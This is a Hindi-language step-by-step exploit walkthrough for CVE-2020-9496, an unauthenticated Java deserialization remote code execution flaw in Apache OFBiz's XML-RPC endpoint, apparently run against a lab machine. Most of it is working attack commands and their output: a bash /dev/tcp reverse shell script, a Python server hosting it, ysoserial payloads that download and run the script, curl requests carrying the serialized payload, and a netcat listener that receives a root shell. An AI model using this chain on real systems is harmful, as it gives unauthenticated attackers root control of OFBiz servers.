
CVE-2020-9496 के लिए मैन्युअल एक्सप्लॉइट: Apache OFBiz XML-RPC में एक बिना प्रमाणीकरण वाला Java डिसीरियलाइज़ेशन RCE, जिसमें पेलोड जनरेशन और रिवर्स शेल के लिए चरण-दर-चरण निर्देश शामिल हैं।
क्योंकि webtools में xmlrpc और ping से संबंधित 2 अनुरोध प्रमाणीकरण का उपयोग नहीं करते हैं, वे असुरक्षित deserialization के प्रति संवेदनशील हैं। यह समस्या GitHub Security Lab टीम के Alvaro Munoz [email protected] द्वारा सुरक्षा टीम को सूचित की गई थी।
यह भेद्यता /webtools/control/xmlrpc पर भेजे गए अनुरोधों को संसाधित करते समय Java serialization समस्याओं के कारण मौजूद है। एक दूरस्थ बिना प्रमाणीकरण वाला हमलावर एक क्राफ्टेड अनुरोध भेजकर इस भेद्यता का फायदा उठा सकता है। सफल शोषण के परिणामस्वरूप मनमाना कोड निष्पादन (arbitrary code execution) होगा।
मूल ब्लॉग: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
इस POC को काम करने के लिए हमें एक shell script ड्रॉप करनी होगी और उस फ़ाइल को curl के माध्यम से execute/access करना होगा।
$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1
$ sudo python3 -m http.server 80
$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"
rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k -H 'Content-Type:application/xml'
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k -H 'Content-Type:application/xml'
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -
जैसा कि आप देख सकते हैं, हमें अपने HTTP server पर hit मिला। फ़ाइल /tmp निर्देशिका में shell.sh नाम से डाउनलोड हो गई है। अब उस फ़ाइल को execute करने के लिए फिर से payload बनाएं। लेकिन ऐसा करने से पहले netcat listener शुरू करें।
$ nc -lvnp 1337
listening on [any] 1337 ...
$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k -H 'Content-Type:application/xml'
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)